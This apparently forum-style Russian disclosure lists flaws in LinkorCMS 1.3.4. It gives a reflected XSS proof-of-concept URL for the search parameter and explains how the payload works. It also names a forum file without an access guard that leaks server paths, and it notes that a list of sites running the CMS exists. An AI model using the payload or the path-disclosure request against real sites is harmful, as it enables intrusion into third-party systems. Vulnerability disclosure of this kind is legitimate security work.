LinkorCMS

[Krist]

LinkorCMS - linkorcms.ru
Текущая версия: 1.3.4


Пассивная XSS

index.php?name=search&op=search&searchstr="><script>alert(1)</script><a href=

в конце <a href потому что дальше идут " и другой мусор - все спрячеться в тяг <a


Раскрытие путей

modules/forum/functions/showforum.php

это один из немногих файлов, который не содержит проверки

PHP код:

if(!defined('VALID_RUN')){
    header("HTTP/1.1 404 Not Found");
    exit;
} 


+ используется не определенная переменная.

На форуме офсайте есть список адресов , где установлена данная cms
На одном сайте написано что раньше было много багов у этой cms а сейчас дела наладились.